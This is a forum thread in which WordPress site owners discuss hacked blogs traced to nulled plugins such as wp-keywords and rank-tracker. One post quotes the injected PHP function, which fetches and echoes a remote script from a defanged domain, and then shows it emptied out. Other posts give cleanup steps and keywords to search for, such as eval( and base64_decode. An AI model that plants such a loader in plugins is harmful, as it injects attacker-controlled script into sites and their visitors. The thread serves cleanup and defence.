HELP! Wordpress blogsites hacked

I went through something similar too. Contact your hosting company and ask them to perform a scam.
It is most likely a database injection. That's why you will not be able to see the code using ftp.
As I told you, talk to your hosting company. They can restore your hosting to what it was before the hacking and scan for any malicious software.

Yes, I suspect that case too, I did contacting my hosting. I'm waiting for the ticket response.
 
Hi, i recently install:

wp-keywords

a found in wp-keywords.php

PHP:
function load_plugin_sync() {
	if(function_exists('curl_init')){
		$url = "hxxt w w w votistics . com/sync.js"; 
		$ch = curl_init();  
		$timeout = 5;  
		curl_setopt($ch,CURLOPT_URL,$url); 
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
		curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
		$data = curl_exec($ch);  
		curl_close($ch); 
		echo "$data";}}

i change to:


PHP:
function load_plugin_sync() {
}


Plugin is working a good bye to this problem.
 
Update:

I have contacted my hosting company and they found out that my sites was injected by a malware. :(

Hopfully, they have a back up of the sites before the attack.
Regular back ups are really important, especially if you have clients.

Woaahhh, my mistake!!The main cause of the script injected was the rank tracker plugin, deleting the code above in the rank-tracker-tool.php was also removing the malicious code! So guys beware of using nulled plugins because this f***king guy is adding script to several wordpress nulled plugins.
 
Not to bring up old news but this is also part of plugin named autopress.
Came across this thread in a www search.

The votistics domain has been going in and out of suspension,500,,
over last few days and leaving error under footer

Just changed like
joshe76 and fixed. Tanks!
 
It's also in WP-SEO-Domination: wpseodomination1.4/onpageseo.php
 
1. Back up all your databases and web files. Put them in a zip file.

2. now do one of these things:
a) (not safe) Now use notepad++ to search all your files for things like
Code:
iframe
@error_reporting
eval(
base64_decode
$eva1
and other things you found in the malicious snippet

THIS IS NOT SAFE because these worms use a lot of techniques to disguise themselves, so you can never be sure you've deleted them all. If you miss even one worm snippet, it will be able to replicate itself in other files later. After removing all the evil snippets, reupload the files to the server.

b)(safer) Delete all the files from your hosting account (but write down your settings like database logins first). And then start reinstalling the scripts one by one. You MUST remove ALL the files from the server at once, because as long as there's at least one instance of a worm across all your files, it can be activated by anyone (even unsuspecting visitors) who opens the file via their browser and then it can replicate itself.

c) (safest) Delete all the files on the server and reinstall Windows on your personal PC. Some people say this worm is caused by desktop malware that steals your filezilla passwords (because they're stored in plain text)
After reinstalling windows, change the passwords of ALL the accounts you had stored in filezilla or delete the accounts and create new ones.

FOLLOW THE LAST (C) METHOD IF:
  • you use filezilla and have some passwords stored (for auto login)
  • you've cleaned your host but the worm returned
  • this happened on multiple hosting accounts you own
  • you installed cracked software on your pc recently
 
Thank you for the info here - I've got the same problem, but now I have an actual clue how to remedy it!
 
In future I suggest you to use Notepad++ (free) it has Search function that looks in folders and files. So you just type your code and it finds were that code placed in what file
 
Also present in ClickbumpSEO. May be an idea to scan and check ANY nulled plugin for the vitostatics link before installing in your wordpress site. If the said site it links to was not down I would never have known about this at all!
 
I realize this is an old thread but the problem still exists for many everyday.
When I got THAT re-direction going to another website I tried to deactivate ALL my plugins and 1 would not deactivate so I deleted it through FTP. It was a plugin to STOP people from hot-linking your graphics and it was hijacking my site after it had been installed for months, if you can believe that! Maybe someone "injected" it, don't know.
Anyhow I hope that this might help someone before they do something drastic (like I was about to do!)
Cheers,
Patch
 
clear the whole ftp server an be sure that you have a save source for the wp download!
